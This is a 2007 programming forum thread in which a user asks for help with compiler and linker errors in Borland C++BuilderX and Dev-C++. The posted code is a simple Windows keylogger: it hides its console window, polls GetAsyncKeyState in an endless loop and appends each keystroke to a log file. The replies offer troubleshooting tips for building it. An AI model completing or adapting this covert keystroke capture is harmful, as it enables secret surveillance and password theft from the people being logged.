Fruitpastles Posted July 12, 2007 Posted July 12, 2007 Hey I'm having a few problems with my compiler. I'm using Borland C++BuilderX 1.0.0.1786, and when I compile the following code, I get the errors below: #include <windows.h> #include <fstream.h> using namespace std; ofstream log; int main(){ ShowWindow(GetConsoleWindow(), SW_HIDE); //hide console log.open("log.dat", ios::app); //open log file - append while(1){ //infinite loop for(int keyCode=0;keyCode<255;keyCode++){ //loop through key codes if(GetAsyncKeyState(keyCode)==-32767){ //get key code if(keyCode == 65){ log<< "A"; } else if(keyCode == 66){ log<< "B"; } else if(keyCode == 67){ log<< "C"; } .............etc } Sleep(1); } return 0; } When I compile with Dev-C++ 4 I get errors with "ShowWindow(GetConsoleWindow(), SW_HIDE);": Other then that it works fine in Dev-C++. I moved "ofstream log;" into the main function (Borland version), but as soon as It had compiled, it crashed with the "Program Not Responding" error message. I've done tonnes of Googling and found nothing helpful. I'd really appreciate any help at all, thanks in advance. Quote
jollyrancher82 Posted July 12, 2007 Posted July 12, 2007 Try this: ShowWindow((HWND) GetConsoleWindow(), SW_HIDE); Quote
Fruitpastles Posted July 14, 2007 Author Posted July 14, 2007 Sorry for the late reply. Thanks for trying to help but it still returns an error (the first one in the pic) in Dev-C++. Quote
jollyrancher82 Posted July 15, 2007 Posted July 15, 2007 The first error picture, means it is missing a library it needs to be linked with. Quote
Fruitpastles Posted July 16, 2007 Author Posted July 16, 2007 Thanks so much for your help! However: Linking with CW32i.LIB resolved "Error: Unresolved external'___CPPdebugHook' referenced from.......", but I'm still getting "Error: Unresolved external'__System__GetTls' referenced from.....". I tried every Library that I got with the Compiler, and have done an excessive amount of googling (even resorted to Yahoo :-() to no avail. Quote
jollyrancher82 Posted July 16, 2007 Posted July 16, 2007 I've never seen that function, it's not a standard C function nor Windows API function. So I don't know which library it's from. Quote
wetelectric Posted July 24, 2007 Posted July 24, 2007 im not mfc ninja but it says it cant fine the GetConsoleWindow() function. You sure you have declared it properly..spellings etc,,,? Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.